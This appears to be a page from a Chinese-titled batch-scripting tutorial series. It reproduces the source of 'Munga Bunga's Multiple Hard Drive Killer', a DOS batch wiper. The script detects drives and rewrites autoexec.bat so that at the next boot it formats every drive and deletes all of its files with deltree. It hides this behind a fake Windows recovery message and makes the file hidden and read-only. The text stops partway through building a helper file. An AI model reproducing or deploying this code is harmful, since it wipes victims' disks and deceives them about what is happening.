bat批处理教程 22

rem As far as the drive detection and drive variable settings, dont worry about how it 
rem works, its d//*amn to complicated for the average or even the expert batch programmer. 
rem Except for Tom Lavedas. 

echo @echo off >drivechk.bat 
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat 
%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
del {t}.bat 
echo if errorlevel 1 goto enddc >>drivechk.bat 

cls 
echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

rem When errorlevel is 1, then the above is not true, if 0, then its true. 
rem Opposite of binary rules. If 0, it will elaps to the next command. 

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find "bytes" > nul >{t}.bat 
%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
del {t}.bat 
echo if errorlevel 1 goto enddc >>drivechk.bat 

cls 
echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 
rem if errorlevel is 0, then it will elaps to the next command. 

echo @prompt dir %%%%1:.///ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 
%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
del {t}.bat 
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 

cls 
echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 

echo :enddc >>drivechk.bat 

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 

rem Now we will use the program drivechk.bat to attain valid drive information. 

:Sampledrv 

for %%a in (%alldrive%) do call drivechk.bat %%a >nul 
del drivechk.bat >nul 
if %drive.==. set drive=c 

:form_del 
call attrib -r -h c://autoexec.bat >nul 
echo @echo off >c://autoexec.bat 
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat 
echo cd// >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c://autoexec.bat 
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c://autoexec.bat 
echo echo 1. To make people aware that security should not be taken for granted. >>c://autoexec.bat 
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c://autoexec.bat 
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c://autoexec.bat 
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c://autoexec.bat 

echo echo. >>c://autoexec.bat 
echo echo Regards, >>c://autoexec.bat 
echo echo. >>c://autoexec.bat 
echo echo Munga Bunga >>c://autoexec.bat 
call attrib +r +h c://autoexec.bat 

:makedir 
if exist c://temp.bat attrib -r -h c://temp.bat >nul 
echo @echo off >c://temp.bat 
echo %%1:// >>c://temp.bat 
echo cd// >>c://temp.bat 
echo :startmd >>c://temp.bat